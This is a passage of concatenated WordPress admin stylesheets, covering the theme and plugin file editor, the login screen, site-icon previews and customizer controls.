#c3c4c7}.tree-folder>li::after{content:"";position:absolute;display:block;border-left:1px solid #c3c4c7;left:2px;bottom:-7px;top:0}#templateside .current-file{margin:-4px 0 -2px}.tree-folder>.current-file::before{left:4px;height:15px;width:0;border-left:none;top:3px}.tree-folder>.current-file::after{bottom:-4px;height:7px;left:2px;top:auto}.tree-folder li:last-child>.tree-folder::after,.tree-folder>li:last-child::after{display:none}#documentation label,#theme-plugin-editor-label,#theme-plugin-editor-selector{font-weight:600}#theme-plugin-editor-label{display:inline-block;margin-bottom:1em}#docs-list,#template textarea{direction:ltr}.fileedit-sub #plugin,.fileedit-sub #theme{max-width:40%}.fileedit-sub .alignright{text-align:right}#template p{width:97%}#file-editor-linting-error{margin-top:1em;margin-bottom:1em}#file-editor-linting-error>.notice{margin:0;display:inline-block}#file-editor-linting-error>.notice>p{width:auto}#template .submit{margin-top:1em;padding:0}#template .submit input[type=submit][disabled]{cursor:not-allowed}#templateside{float:right;width:16em;word-wrap:break-word}#postcustomstuff p.submit{margin:0}#templateside h4{margin:1em 0 0}#templateside li{margin:4px 0}#templateside li:not(.howto) a,.theme-editor-php .highlight{display:block;padding:3px 0 3px 12px;text-decoration:none}#templateside li.current-file>a{padding-bottom:0}#templateside li:not(.howto)>a:first-of-type{padding-top:0}#templateside li.howto{padding:6px 12px 12px}.theme-editor-php .highlight{margin:-3px 3px -3px -12px}#templateside .highlight{border:none;font-weight:600}.nonessential{color:#646970;font-size:11px;font-style:italic;padding-left:12px}#documentation{margin-top:10px}#documentation label{line-height:1.8;vertical-align:baseline}.fileedit-sub{padding:10px 0 8px;line-height:180%}#file-editor-warning .file-editor-warning-content{margin:25px}.accordion-section-title:after,.control-section .accordion-section-title:after,.nav-menus-php .item-edit:before,.widget-top .widget-action .toggle-indicator:before{content:"\f140";font:normal 20px/1 dashicons;speak:never;display:block;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}.widget-top .widget-action .toggle-indicator:before{padding:1px 2px 1px 0;border-radius:50%}.accordion-section-title:after,.handlediv,.item-edit,.postbox .handlediv.button-link,.toggle-indicator{color:#787c82}.widget-action{color:#50575e}.accordion-section-title:hover:after,.handlediv:focus,.handlediv:hover,.item-edit:focus,.item-edit:hover,.postbox .handlediv.button-link:focus,.postbox .handlediv.button-link:hover,.sidebar-name:hover .toggle-indicator,.widget-action:focus,.widget-top:hover .widget-action{color:#1d2327;outline:2px solid transparent}.widget-top .widget-action:focus .toggle-indicator:before{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.accordion-section-title:after,.control-section .accordion-section-title:after{float:right;right:20px;top:-2px}#customize-info.open .accordion-section-title:after,.control-section.open .accordion-section-title:after,.nav-menus-php .menu-item-edit-active .item-edit:before,.widget.open .widget-top .widget-action .toggle-indicator:before,.widget.widget-in-question .widget-top .widget-action .toggle-indicator:before{content:"\f142"}/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */.ui-draggable-handle,.ui-sortable-handle{touch-action:none}.accordion-section{border-bottom:1px solid #dcdcde;margin:0}.accordion-section.open .accordion-section-content,.no-js .accordion-section .accordion-section-content{display:block}.accordion-section.open:hover{border-bottom-color:#dcdcde}.accordion-section-content{display:none;padding:10px 20px 15px;overflow:hidden;background:#fff}.accordion-section-title{margin:0;padding:12px 15px 15px;position:relative;border-left:1px solid #dcdcde;border-right:1px solid #dcdcde;-webkit-user-select:none;user-select:none}.js .accordion-section-title{cursor:pointer}.js .accordion-section-title:after{position:absolute;top:12px;right:10px;z-index:1}.accordion-section-title:focus{outline:1px solid transparent}.accordion-section-title:focus:after,.accordion-section-title:hover:after{border-color:#a7aaad transparent;outline:1px solid transparent}.cannot-expand .accordion-section-title{cursor:auto}.cannot-expand .accordion-section-title:after{display:none}.control-section .accordion-section-title,.customize-pane-child .accordion-section-title{border-left:none;border-right:none;padding:10px 10px 11px 14px;line-height:1.55;background:#fff}.control-section .accordion-section-title:after,.customize-pane-child .accordion-section-title:after{top:calc(50% - 10px)}.js .control-section .accordion-section-title:focus,.js .control-section .accordion-section-title:hover,.js .control-section.open .accordion-section-title,.js .control-section:hover .accordion-section-title{color:#1d2327;background:#f6f7f7}.control-section.open .accordion-section-title{border-bottom:1px solid #dcdcde}.network-admin .edit-site-actions{margin-top:0}.my-sites{display:block;overflow:auto;zoom:1}.my-sites li{display:block;padding:8px 3%;min-height:130px;margin:0}@media only screen and (max-width:599px){.my-sites li{min-height:0}}@media only screen and (min-width:600px){.my-sites.striped li{background-color:#fff;position:relative}.my-sites.striped li:after{content:"";width:1px;height:100%;position:absolute;top:0;right:0;background:#c3c4c7}}@media only screen and (min-width:600px) and (max-width:699px){.my-sites li{float:left;width:44%}.my-sites.striped li{background-color:#fff}.my-sites.striped li:nth-of-type(odd){clear:left}.my-sites.striped li:nth-of-type(2n+2):after{content:none}.my-sites li:nth-of-type(4n+1),.my-sites li:nth-of-type(4n+2){background-color:#f6f7f7}}@media only screen and (min-width:700px) and (max-width:1199px){.my-sites li{float:left;width:27.333333%;background-color:#fff}.my-sites.striped li:nth-of-type(3n+3):after{content:none}.my-sites li:nth-of-type(6n+1),.my-sites li:nth-of-type(6n+2),.my-sites li:nth-of-type(6n+3){background-color:#f6f7f7}}@media only screen and (min-width:1200px) and (max-width:1399px){.my-sites li{float:left;width:21%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(4n+1){clear:left}.my-sites.striped li:nth-of-type(4n+4):after{content:none}.my-sites li:nth-of-type(8n+1),.my-sites li:nth-of-type(8n+2),.my-sites li:nth-of-type(8n+3),.my-sites li:nth-of-type(8n+4){background-color:#f6f7f7}}@media only screen and (min-width:1400px) and (max-width:1599px){.my-sites li{float:left;width:16%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(5n+1){clear:left}.my-sites.striped li:nth-of-type(5n+5):after{content:none}.my-sites li:nth-of-type(10n+1),.my-sites li:nth-of-type(10n+2),.my-sites li:nth-of-type(10n+3),.my-sites li:nth-of-type(10n+4),.my-sites li:nth-of-type(10n+5){background-color:#f6f7f7}}@media only screen and (min-width:1600px){.my-sites li{float:left;width:12.666666%;padding:8px 2%;background-color:#fff}.my-sites.striped li:nth-of-type(6n+1){clear:left}.my-sites.striped li:nth-of-type(6n+6):after{content:none}.my-sites li:nth-of-type(12n+1),.my-sites li:nth-of-type(12n+2),.my-sites li:nth-of-type(12n+3),.my-sites li:nth-of-type(12n+4),.my-sites li:nth-of-type(12n+5),.my-sites li:nth-of-type(12n+6){background-color:#f6f7f7}}.my-sites li a{text-decoration:none}@media print,(min-resolution:120dpi){div.star-holder,div.star-holder .star-rating{background:url(../images/stars-2x.png?ver=20121108) repeat-x bottom left;background-size:21px 37px}.spinner{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){html.wp-toolbar{padding-top:46px}.screen-reader-shortcut:focus{top:-39px}body{min-width:240px;overflow-x:hidden}body *{-webkit-tap-highlight-color:transparent!important}#wpcontent{position:relative;margin-left:0;padding-left:10px}#wpbody-content{padding-bottom:100px}.wrap{clear:both;margin-right:12px;margin-left:0}#col-left,#col-right{float:none;width:auto}#col-left .col-wrap,#col-right .col-wrap{padding:0}#collapse-menu,.post-format-select{display:none!important}.wrap h1.wp-heading-inline{margin-bottom:.5em}.wrap .add-new-h2,.wrap .add-new-h2:active,.wrap .page-title-action,.wrap .page-title-action:active{padding:10px 15px;font-size:14px;white-space:nowrap}.media-upload-form div.error,.notice,.wrap div.error,.wrap div.updated{margin:20px 0 10px;padding:5px 10px;font-size:14px;line-height:175%}.wp-core-ui .notice.is-dismissible{padding-right:46px}.notice-dismiss{padding:13px}.wrap .icon32+h2{margin-top:-2px}.wp-responsive-open #wpbody{right:-16em}code{word-wrap:break-word;word-wrap:anywhere;word-break:break-word}.postbox{font-size:14px}.metabox-holder .postbox>h3,.metabox-holder .stuffbox>h3,.metabox-holder h2,.metabox-holder h3.hndle{padding:12px}.postbox .handlediv{margin-top:3px}.subsubsub{font-size:16px;text-align:center;margin-bottom:15px}#template .CodeMirror,#template textarea{box-sizing:border-box}#templateside{float:none;width:auto}#templateside>ul{border-left:1px solid #dcdcde}#templateside li{margin:0}#templateside li:not(.howto) a{display:block;padding:5px}#templateside li.howto{padding:12px}#templateside .highlight{padding:5px;margin-left:-5px;margin-top:-5px}#template .notice,#template>div{float:none;margin:1em 0;width:auto}#template .CodeMirror,#template textarea{width:100%}#templateside ul ul{padding-left:1.5em}[role=treeitem] .folder-label{display:block;padding:5px}.tree-folder .tree-folder::after,.tree-folder>li::after,.tree-folder>li::before{left:-8px}.tree-folder>li::before{top:0;height:13px}.tree-folder>.current-file::before{left:-5px;top:7px;width:4px}.tree-folder>.current-file::after{height:9px;left:-8px}.wrap #templateside span.notice{margin-left:-5px;width:100%}.fileedit-sub .alignright{float:left;margin-top:15px;width:100%;text-align:left}.fileedit-sub .alignright label{display:block}.fileedit-sub #plugin,.fileedit-sub #theme{margin-left:0;max-width:70%}.fileedit-sub input[type=submit]{margin-bottom:0}#documentation label[for=docs-list]{display:block}#documentation select[name=docs-list]{margin-left:0;max-width:60%}#documentation input[type=button]{margin-bottom:0}#wpfooter{display:none}#comments-form .checkforspam{display:none}.edit-comment-author{margin:2px 0 0}.filter-drawer .filter-group-feature input,.filter-drawer .filter-group-feature label{line-height:2.1}.filter-drawer .filter-group-feature label{margin-left:32px}.wp-filter .button.drawer-toggle{font-size:13px;line-height:2;height:28px}#screen-meta #contextual-help-wrap{overflow:visible}#screen-meta #contextual-help-back,#screen-meta .contextual-help-sidebar{display:none}#screen-meta .contextual-help-tabs{clear:both;width:100%;float:none}#screen-meta .contextual-help-tabs ul{margin:0 0 1em;padding:1em 0 0}#screen-meta .contextual-help-tabs .active{margin:0}#screen-meta .contextual-help-tabs-wrap{clear:both;max-width:100%;float:none}#screen-meta,#screen-meta-links{margin-right:10px}#screen-meta-links{margin-bottom:20px}.wp-filter .search-form input[type=search]{width:100%;font-size:1rem}.wp-filter .search-form.search-plugins{min-width:100%}}@media screen and (max-width:600px){#wpwrap.wp-responsive-open{overflow-x:hidden}html.wp-toolbar{padding-top:0}.screen-reader-shortcut:focus{top:7px}#wpbody{padding-top:46px}div#post-body.metabox-holder.columns-1{overflow-x:hidden}.nav-tab-wrapper,.wrap h2.nav-tab-wrapper,h1.nav-tab-wrapper{border-bottom:0}h1 .nav-tab,h2 .nav-tab,h3 .nav-tab,nav .nav-tab{margin:10px 10px 0 0;border-bottom:1px solid #c3c4c7}.nav-tab-active:focus,.nav-tab-active:focus:active,.nav-tab-active:hover{border-bottom:1px solid #c3c4c7}}@media screen and (max-width:480px){.metabox-prefs-container{display:grid}.metabox-prefs-container>*{display:inline-block;padding:2px}}@media screen and (max-width:320px){#network_dashboard_right_now .subsubsub{font-size:14px;text-align:left}}/*! This file is auto-generated */
.wp-core-ui [class*=CodeMirror-lint-message],.wrap .CodeMirror-lint-marker-multiple,.wrap [class*=CodeMirror-lint-marker]{background-image:none}.wp-core-ui .CodeMirror-lint-marker-error,.wp-core-ui .CodeMirror-lint-marker-warning{cursor:help}.wrap .CodeMirror-lint-marker-multiple{position:absolute;top:0}.wrap [class*=CodeMirror-lint-marker]:before{font:normal 18px/1 dashicons;position:relative;top:-2px}.wp-core-ui [class*=CodeMirror-lint-message]:before{font:normal 16px/1 dashicons;right:16px;position:absolute}.wp-core-ui .CodeMirror-lint-message-error,.wp-core-ui .CodeMirror-lint-message-warning{box-shadow:0 1px 1px 0 rgba(0,0,0,.1);margin:5px 0 2px;padding:3px 28px 3px 12px}.wp-core-ui .CodeMirror-lint-message-warning{background-color:#fcf9e8;border-right:4px solid #dba617}.wp-core-ui .CodeMirror-lint-message-warning:before,.wrap .CodeMirror-lint-marker-warning:before{content:"\f534";color:#dba617}.wp-core-ui .CodeMirror-lint-message-error{background-color:#fcf0f1;border-right:4px solid #d63638}.wp-core-ui .CodeMirror-lint-message-error:before,.wrap .CodeMirror-lint-marker-error:before{content:"\f153";color:#d63638}.wp-core-ui .CodeMirror-lint-tooltip{background:0 0;border:none;border-radius:0;direction:rtl}.wrap .CodeMirror .CodeMirror-matchingbracket{background:rgba(219,166,23,.3);color:inherit}.CodeMirror{text-align:right}.wrap .CodeMirror .CodeMirror-linenumber{color:#646970}/*! This file is auto-generated */
.site-icon-preview .favicon-preview{margin:5px 0 20px;overflow:hidden;position:relative;max-width:180px}.site-icon-preview .browser-title,.site-icon-preview .favicon{height:16px;right:88px;overflow:hidden;position:absolute;top:16px}.site-icon-preview .favicon{width:16px}.site-icon-preview .browser-title{right:109px;width:72px;white-space:nowrap}.site-icon-preview .app-icon-preview{background-color:#000;border-radius:16px;height:64px;overflow:hidden;width:64px;margin-top:5px}.site-icon-preview .app-icon-preview,.site-icon-preview .favicon{direction:ltr}.customize-control-site_icon .favicon-preview{float:right;margin-left:12px;margin-bottom:0}.customize-control-site_icon .app-icon-preview{margin-top:9px}.site-icon-section button.reset{color:#b32d2e;text-decoration:none;border-color:transparent;box-shadow:none;background:0 0}.site-icon-section button.reset:focus,.site-icon-section button.reset:hover{background:#b32d2e;color:#fff;border-color:#b32d2e;box-shadow:0 0 0 1px #b32d2e}.site-icon-section .action-buttons{display:flex;flex-wrap:wrap;gap:10px}/*! This file is auto-generated */
body,html{height:100%;margin:0;padding:0}body{background:#f0f0f1;min-width:0;color:#3c434a;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;font-size:13px;line-height:1.4}a{color:#2271b1;transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}a{outline:0}a:active,a:hover{color:#135e96}a:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}p{line-height:1.5}.login .message,.login .notice,.login .success{border-right:4px solid #72aee6;padding:12px;margin-right:0;margin-bottom:20px;background-color:#fff;box-shadow:0 1px 1px 0 rgba(0,0,0,.1);word-wrap:break-word}.login .success{border-right-color:#00a32a}.login .notice-error{border-right-color:#d63638}.login .login-error-list{list-style:none}.login .login-error-list li+li{margin-top:4px}#loginform p.submit,.login-action-lostpassword p.submit{border:none;margin:-10px 0 20px}.login *{margin:0;padding:0}.login .input::-ms-clear{display:none}.login .pw-weak{margin-bottom:15px}.login .button.wp-hide-pw{background:0 0;border:1px solid transparent;box-shadow:none;font-size:14px;line-height:2;width:2.5rem;height:2.5rem;min-width:40px;min-height:40px;margin:0;padding:5px 9px;position:absolute;left:0;top:0}.login .button.wp-hide-pw:hover{background:0 0}.login .button.wp-hide-pw:focus{background:0 0;border-color:#3582c4;box-shadow:0 0 0 1px #3582c4;outline:2px solid transparent}.login .button.wp-hide-pw:active{background:0 0;box-shadow:none;transform:none}.login .button.wp-hide-pw .dashicons{width:1.25rem;height:1.25rem;top:.25rem}.login .wp-pwd{position:relative}.no-js .hide-if-no-js{display:none}.login form{margin-top:20px;margin-right:0;padding:26px 24px 34px;font-weight:400;overflow:hidden;background:#fff;border:1px solid #c3c4c7;box-shadow:0 1px 3px rgba(0,0,0,.04)}.login form.shake{animation:shake .2s cubic-bezier(.19,.49,.38,.79) both;animation-iteration-count:3;transform:translateX(0)}@keyframes shake{25%{transform:translateX(20px)}75%{transform:translateX(-20px)}100%{transform:translateX(0)}}@media (prefers-reduced-motion:reduce){.login form.shake{animation:none;transform:none}}.login-action-confirm_admin_email #login{width:60vw;max-width:650px;margin-top:-2vh}@media screen and (max-width:782px){.login-action-confirm_admin_email #login{box-sizing:border-box;margin-top:0;padding-right:4vw;padding-left:4vw;width:100vw}}.login form .forgetmenot{font-weight:400;float:right;margin-bottom:0}.login .button-primary{float:left}.login .reset-pass-submit{display:flex;flex-flow:row wrap;justify-content:space-between}.login .reset-pass-submit .button{display:inline-block;float:none;margin-bottom:6px}.login .admin-email-confirm-form .submit{text-align:center}.admin-email__later{text-align:right}.login form p.admin-email__details{margin:1.1em 0}.login h1.admin-email__heading{border-bottom:1px #f0f0f1 solid;color:#50575e;font-weight:400;padding-bottom:.5em;text-align:right}.admin-email__actions div{padding-top:1.5em}.login .admin-email__actions .button-primary{float:none;margin-right:.25em;margin-left:.25em}#login form p{margin-bottom:0}#login #reg_passmail,#login form .indicator-hint{margin-bottom:16px}#login form p.submit{margin:0;padding:0}.login label{font-size:14px;line-height:1.5;display:inline-block;margin-bottom:3px}.login .forgetmenot label,.login .pw-weak label{line-height:1.5;vertical-align:baseline}.login h1{text-align:center}.login h1 a{background-image:url(../images/w-logo-blue.png?ver=20131202);background-image:none,url(../images/wordpress-logo.svg?ver=20131107);background-size:84px;background-position:center top;background-repeat:no-repeat;color:#3c434a;height:84px;font-size:20px;font-weight:400;line-height:1.3;margin:0 auto 25px;padding:0;text-decoration:none;width:84px;text-indent:-9999px;outline:0;overflow:hidden;display:block}#login{width:320px;padding:5% 0 0;margin:auto}.login #backtoblog,.login #nav{font-size:13px;padding:0 24px}.login #nav{margin:24px 0 0}#backtoblog{margin:16px 0;word-wrap:break-word}.login #backtoblog a,.login #nav a{text-decoration:none;color:#50575e}.login #backtoblog a:hover,.login #nav a:hover,.login h1 a:hover{color:#135e96}.login #backtoblog a:focus,.login #nav a:focus,.login h1 a:focus{color:#043959}.login .privacy-policy-page-link{text-align:center;width:100%;margin:3em 0 2em}.login form .input,.login input[type=password],.login input[type=text]{font-size:24px;line-height:1.33333333;width:100%;border-width:.0625rem;padding:.1875rem .3125rem;margin:0 0 16px 6px;min-height:40px;max-height:none}.login input.password-input{font-family:Consolas,Monaco,monospace}.js.login input.password-input{padding-left:2.5rem}.login form .input,.login form input[type=checkbox],.login input[type=text]{background:#fff}.js.login-action-resetpass input[type=password],.js.login-action-resetpass input[type=text],.js.login-action-rp input[type=password],.js.login-action-rp input[type=text]{margin-bottom:0}.login #pass-strength-result{font-weight:600;margin:-1px 0 16px 5px;padding:6px 5px;text-align:center;width:100%}body.interim-login{height:auto}.interim-login #login{padding:0;margin:5px auto 20px}.interim-login.login h1 a{width:auto}.interim-login #login_error,.interim-login.login .message{margin:0 0 16px}.interim-login.login form{margin:0}.screen-reader-text,.screen-reader-text span{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}input::-ms-reveal{display:none}#language-switcher{padding:0;overflow:visible;background:0 0;border:none;box-shadow:none}#language-switcher select{margin-left:.25em}.language-switcher{margin:0 auto;padding:0 0 24px;text-align:center}.language-switcher label{margin-left:.25em}.language-switcher label .dashicons{width:auto;height:auto}.login .language-switcher .button{margin-bottom:0}@media screen and (max-height:550px){#login{padding:20px 0}#language-switcher{margin-top:0}}@media screen and (max-width:782px){.interim-login input[type=checkbox]{width:1rem;height:1rem}.interim-login input[type=checkbox]:checked:before{width:1.3125rem;height:1.3125rem;margin:-.1875rem -.25rem 0 0}#language-switcher label,#language-switcher select{margin-left:0}}@media screen and (max-width:400px){.login .language-switcher .button{display:block;margin:5px auto 0}}body {
	overflow: hidden;
	-webkit-text-size-adjust: 100%;
}

.customize-controls-close,
.widget-control-actions a {
	text-decoration: none;
}

#customize-controls h3 {
	font-size: 14px;
}

#customize-controls img {
	max-width: 100%;
}

#customize-controls .submit {
	text-align: center;
}

#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked {
	background-color: rgba(0, 0, 0, 0.7);
	padding: 25px;
}

#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message {
	margin-left: auto;
	margin-right: auto;
	max-width: 366px;
	min-height: 64px;
	width: auto;
	padding: 25px 25px 25px 109px;
	position: relative;
	background: #fff;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
	line-height: 1.5;
	overflow-y: auto;
	text-align: left;
	top: calc( 50% - 100px );
}

#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .currently-editing {
	margin-top: 0;
}
#customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .action-buttons {
	margin-bottom: 0;
}

.customize-changeset-locked-avatar {
	width: 64px;
	position: absolute;
	left: 25px;
	top: 25px;
}

.wp-core-ui.wp-customizer .customize-changeset-locked-message a.button {
	margin-right: 10px;
	margin-top: 0;
}

#customize-controls .description {
	color: #50575e;
}

#customize-save-button-wrapper {
	float: right;
	margin-top: 9px;
}

body:not(.ready) #customize-save-button-wrapper .save {
	visibility: hidden;
}
#customize-save-button-wrapper .save {
	float: left;
	border-radius: 3px;
	box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */
	margin-top: 0;
}

#customize-save-button-wrapper .save:focus, #publish-settings:focus {
	box-shadow: 0 1px 0 #2271b1, 0 0 2px 1px #72aee6; /* This is default box shadow for focus */
}

#customize-save-button-wrapper .save.has-next-sibling {
	border-radius: 3px 0 0 3px;
}

#customize-sidebar-outer-content {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	visibility: hidden;
	overflow-x: hidden;
	overflow-y: auto;
	width: 100%;
	margin: 0;
	z-index: -1;
	background: #f0f0f1;
	transition: left .18s;
	border-right: 1px solid #dcdcde;
	border-left: 1px solid #dcdcde;
	height: 100%;
}

@media (prefers-reduced-motion: reduce) {
	#customize-sidebar-outer-content {
		transition: none;
	}
}

#customize-theme-controls .control-section-outer {
	display: none !important;
}

#customize-outer-theme-controls .accordion-section-content {
	padding: 12px;
}

#customize-outer-theme-controls .accordion-section-content.open {
	display: block;
}

.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content {
	visibility: visible;
	left: 100%;
	transition: left .18s;
}

@media (prefers-reduced-motion: reduce) {
	.outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content {
		transition: none;
	}
}

.customize-outer-pane-parent {
	margin: 0;
}

.outer-section-open .wp-full-overlay.expanded .wp-full-overlay-main {
	left: 300px;
	opacity: 0.4;
}

.outer-section-open .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,
.outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
.adding-menu-items .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,
.adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main,
.adding-widget .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main,
.adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main {
	left: 64%;
}

#customize-outer-theme-controls li.notice {
	padding-top: 8px;
	padding-bottom: 8px;
	margin-left: 0;
	margin-bottom: 10px;
}

#publish-settings {
	text-indent: 0;
	border-radius: 0 3px 3px 0;
	padding-left: 0;
	padding-right: 0;
	box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */
	font-size: 14px;
	width: 30px;
	float: left;
	transform: none;
	margin-top: 0;
	line-height: 2;
}

body:not(.ready) #publish-settings,
body.trashing #customize-save-button-wrapper .save,
body.trashing #publish-settings {
	display: none;
}

#customize-header-actions .spinner {
	margin-top: 13px;
	margin-right: 4px;
}

.saving #customize-header-actions .spinner,
.trashing #customize-header-actions .spinner {
	visibility: visible;
}

#customize-header-actions {
	border-bottom: 1px solid #dcdcde;
}

#customize-controls .wp-full-overlay-sidebar-content {
	overflow-y: auto;
	overflow-x: hidden;
}

.outer-section-open #customize-controls .wp-full-overlay-sidebar-content {
	background: #f0f0f1;
}

#customize-controls .customize-info {
	border: none;
	border-bottom: 1px solid #dcdcde;
	margin-bottom: 15px;
}

#customize-control-changeset_status .customize-inside-control-row,
#customize-control-changeset_preview_link input {
	background-color: #fff;
	border-bottom: 1px solid #dcdcde;
	box-sizing: content-box;
	width: 100%;
	margin-left: -12px;
	padding-left: 12px;
	padding-right: 12px;
}

#customize-control-trash_changeset {
	margin-top: 20px;
}
#customize-control-trash_changeset .button-link {
	position: relative;
	padding-left: 24px;
	display: inline-block;
}
#customize-control-trash_changeset .button-link:before {
	content: "\f182";
	font: normal 22px dashicons;
	text-decoration: none;
	position: absolute;
	left: 0;
	top: -2px;
}

#customize-controls .date-input:invalid {
	border-color: #d63638;
}

#customize-control-changeset_status .customize-inside-control-row {
	padding-top: 10px;
	padding-bottom: 10px;
	font-weight: 500;
}

#customize-control-changeset_status .customize-inside-control-row:first-of-type {
	border-top: 1px solid #dcdcde;
}

#customize-control-changeset_status .customize-control-title {
	margin-bottom: 6px;
}

#customize-control-changeset_status input {
	margin-left: 0;
}

#customize-control-changeset_preview_link {
	position: relative;
	display: block;
}

.preview-link-wrapper .customize-copy-preview-link.preview-control-element.button {
	margin: 0;
	position: absolute;
	bottom: 9px;
	right: 0;
}

.preview-link-wrapper {
	position: relative;
}

.customize-copy-preview-link:before,
.customize-copy-preview-link:after {
	content: "";
	height: 28px;
	position: absolute;
	background: #fff;
	top: -1px;
}

.customize-copy-preview-link:before {
	left: -10px;
	width: 9px;
	opacity: 0.75;
}

.customize-copy-preview-link:after {
	left: -5px;
	width: 4px;
	opacity: 0.8;
}

#customize-control-changeset_preview_link input {
	line-height: 2.85714286; /* 40px */
	border-top: 1px solid #dcdcde;
	border-left: none;
	border-right: none;
	text-indent: -999px;
	color: #fff;
	/* Only necessary for IE11 */
	min-height: 40px;
}

#customize-control-changeset_preview_link label {
	position: relative;
	display: block;
}

#customize-control-changeset_preview_link a {
	display: inline-block;
	position: absolute;
	white-space: nowrap;
	overflow: hidden;
	width: 90%;
	bottom: 14px;
	font-size: 14px;
	text-decoration: none;
}

#customize-control-changeset_preview_link a.disabled,
#customize-control-changeset_preview_link a.disabled:active,
#customize-control-changeset_preview_link a.disabled:focus,
#customize-control-changeset_preview_link a.disabled:visited {
	color: #000;
	opacity: 0.4;
	cursor: default;
	outline: none;
	box-shadow: none;
}

#sub-accordion-section-publish_settings .customize-section-description-container {
	display: none;
}

#customize-controls .customize-info.section-meta {
	margin-bottom: 15px;
}

.customize-control-date_time .customize-control-description + .date-time-fields.includes-time {
	margin-top: 10px;
}

.customize-control.customize-control-date_time .date-time-fields .date-input.day {
	margin-right: 0;
}

.date-time-fields .date-input.month {
	width: auto;
	margin: 0;
}

.date-time-fields .date-input.day,
.date-time-fields .date-input.hour,
.date-time-fields .date-input.minute {
	width: 46px;
}

.date-time-fields .date-input.year {
	width: 65px;
}

.date-time-fields .date-input.meridian {
	width: auto;
	margin: 0;
}

.date-time-fields .time-row {
	margin-top: 12px;
}

#customize-control-changeset_preview_link {
	margin-top: 6px;
}

#customize-control-changeset_status {
	margin-bottom: 0;
	padding-bottom: 0;
}

#customize-control-changeset_scheduled_date {
	box-sizing: content-box;
	width: 100%;
	margin-left: -12px;
	padding: 12px;
	background: #fff;
	border-bottom: 1px solid #dcdcde;
	margin-bottom: 0;
}

#customize-control-changeset_scheduled_date .customize-control-description {
	font-style: normal;
}

#customize-controls .customize-info.is-in-view,
#customize-controls .customize-section-title.is-in-view {
	position: absolute;
	z-index: 9;
	width: 100%;
	box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1);
}

#customize-controls .customize-section-title.is-in-view {
	margin-top: 0;
}

#customize-controls .customize-info.is-in-view + .accordion-section {
	margin-top: 15px;
}

#customize-controls .customize-info.is-sticky,
#customize-controls .customize-section-title.is-sticky {
	position: fixed;
	top: 46px;
}

#customize-controls .customize-info .accordion-section-title {
	background: #fff;
	color: #50575e;
	border-left: none;
	border-right: none;
	border-bottom: none;
	cursor: default;
}

#customize-controls .customize-info.open .accordion-section-title:after,
#customize-controls .customize-info .accordion-section-title:hover:after,
#customize-controls .customize-info .accordion-section-title:focus:after {
	color: #2c3338;
}

#customize-controls .customize-info .accordion-section-title:after {
	display: none;
}

#customize-controls .customize-info .preview-notice {
	font-size: 13px;
	line-height: 1.9;
}

#customize-controls .customize-pane-child .customize-section-title h3,
#customize-controls .customize-pane-child h3.customize-section-title,
#customize-outer-theme-controls .customize-pane-child .customize-section-title h3,
#customize-outer-theme-controls .customize-pane-child h3.customize-section-title,
#customize-controls .customize-info .panel-title {
	font-size: 20px;
	font-weight: 200;
	line-height: 26px;
	display: block;
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
}

#customize-controls .customize-section-title span.customize-action {
	overflow: hidden;
	white-space: nowrap;
	text-overflow: ellipsis;
}

#customize-controls .customize-info .customize-help-toggle {
	position: absolute;
	top: 4px;
	right: 1px;
	padding: 20px 20px 10px 10px;
	width: 20px;
	height: 20px;
	cursor: pointer;
	box-shadow: none;
	background: transparent;
	color: #50575e;
	border: none;
}

#customize-controls .customize-info .customize-help-toggle:before {
	position: absolute;
	top: 5px;
	left: 6px;
}

#customize-controls .customize-info.open .customize-help-toggle,
#customize-controls .customize-info .customize-help-toggle:focus,
#customize-controls .customize-info .customize-help-toggle:hover {
	color: #2271b1;
}

#customize-controls .customize-info .customize-panel-description,
#customize-controls .customize-info .customize-section-description,
#customize-outer-theme-controls .customize-info .customize-section-description,
#customize-controls .no-widget-areas-rendered-notice {
	color: #50575e;
	display: none;
	background: #fff;
	padding: 12px 15px;
	border-top: 1px solid #dcdcde;
}

#customize-controls .customize-info .customize-panel-description.open + .no-widget-areas-rendered-notice {
	border-top: none;
}
.no-widget-areas-rendered-notice {
	font-style: italic;
}
.no-widget-areas-rendered-notice p:first-child {
	margin-top: 0;
}
.no-widget-areas-rendered-notice p:last-child {
	margin-bottom: 0;
}

#customize-controls .customize-info .customize-section-description {
	margin-bottom: 15px;
}

#customize-controls .customize-info .customize-panel-description p:first-child,
#customize-controls .customize-info .customize-section-description p:first-child {
	margin-top: 0;
}

#customize-controls .customize-info .customize-panel-description p:last-child,
#customize-controls .customize-info .customize-section-description p:last-child {
